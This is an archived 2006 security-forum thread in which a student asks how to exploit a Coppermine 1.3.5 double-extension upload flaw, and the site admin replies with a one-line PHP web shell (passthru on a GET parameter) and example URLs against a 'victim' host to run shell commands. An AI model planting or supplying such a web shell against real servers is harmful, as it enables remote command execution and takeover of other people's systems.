 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 120
 Members: 0
 Total: 120
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
Need help with a paper about IT security |
|
 Posted: Mon Dec 11, 2006 6:02 pm |
 |
|
| Rockarena |
| Beginner |
 |
|
| Joined: Dec 11, 2006 |
| Posts: 3 |
|
|
|
 |
|
 |
|
Hello everyone,
this is my first post here and I'm looking for some information. I'm currently studying IT and I have to write a paper on website security. Now, I had to choose an exploit and I chose the rar exploit on apache using coppermine gallery.
I can upload the php.rar off course but where to go from there? I am a n00b when it comes to this sort off stuff so I would like to get some help on the subject. I read waraxe's post with the vulnerabilities but I can't really do that much with them yet, lack of knowledge on my part.
I've uploaded the file but what to do next? I read something about a script called nst.php.
Can someone help me please?
EDIT: coppermine version is 1.3.5 and I'm here to learn, don't want to be a script kiddie  |
|
|
|
|
|
Re: Need help with a paper about IT security |
|
| Posted: Mon Dec 11, 2006 11:13 pm |
|
|
| Rockarena |
| Beginner |
|
|
| Joined: Dec 11, 2006 |
| Posts: 3 |
|
|
|
|
|
|
|
| Rockarena wrote: | Hello everyone,
this is my first post here and I'm looking for some information. I'm currently studying IT and I have to write a paper on website security. Now, I had to choose an exploit and I chose the rar exploit on apache using coppermine gallery.
I can upload the php.rar off course but where to go from there? I am a n00b when it comes to this sort off stuff so I would like to get some help on the subject. I read waraxe's post with the vulnerabilities but I can't really do that much with them yet, lack of knowledge on my part.
I've uploaded the file but what to do next? I read something about a script called nst.php.
Can someone help me please?
EDIT: coppermine version is 1.3.5 and I'm here to learn, don't want to be a script kiddie |
No one? |
|
|
|
|
|
|
|
|
| Posted: Tue Dec 12, 2006 1:25 am |
|
|
| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
So you are able to upload "whatever.php.rar" file to target server and it will be parsed by php engine as it was php script.
Next step will be to try interact with webserver's operating system - shell access from php language. There are functions for that - "system()" for example:
http://ee2.php.net/system
About nst script - little search with Google gave this example:
http://archive.cert.uni-stuttgart.de/archive/bugtraq/2005/05/msg00075.html
| Code: |
Create file:
nst.php.ns
<pre>
<?
passthru($_GET['nst']);
?>
Then upload, and go to http://victim/files/nst.php.ns?nst=ls -la
or
<?
passthru($_GET['nst']);
?>
Then upload, and go to http://victim/files/nst.php.ns?nst=http://your/file.txt
|
So nothing special here - couple of lines php code, which will take from you shell commands and redirect them to underlying opsystem ...
And by the way, in many real world servers those "dangerous" shell access functions in php are disabled |
|
|
|
|
|
|
|
|
| Posted: Tue Dec 12, 2006 5:32 am |
|
|
| Rockarena |
| Beginner |
|
|
| Joined: Dec 11, 2006 |
| Posts: 3 |
|
|
|
|
|
|
|
| waraxe wrote: | So you are able to upload "whatever.php.rar" file to target server and it will be parsed by php engine as it was php script.
Next step will be to try interact with webserver's operating system - shell access from php language. There are functions for that - "system()" for example:
http://ee2.php.net/system
About nst script - little search with Google gave this example:
http://archive.cert.uni-stuttgart.de/archive/bugtraq/2005/05/msg00075.html
| Code: |
Create file:
nst.php.ns
<pre>
<?
passthru($_GET['nst']);
?>
Then upload, and go to http://victim/files/nst.php.ns?nst=ls -la
or
<?
passthru($_GET['nst']);
?>
Then upload, and go to http://victim/files/nst.php.ns?nst=http://your/file.txt
|
So nothing special here - couple of lines php code, which will take from you shell commands and redirect them to underlying opsystem ...
And by the way, in many real world servers those "dangerous" shell access functions in php are disabled |
Thank you for the info waraxe! This will help me a lot. I'll have to give my presentation tomorrow so credit to you if I get a good grade |
|
|
|
|
|
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
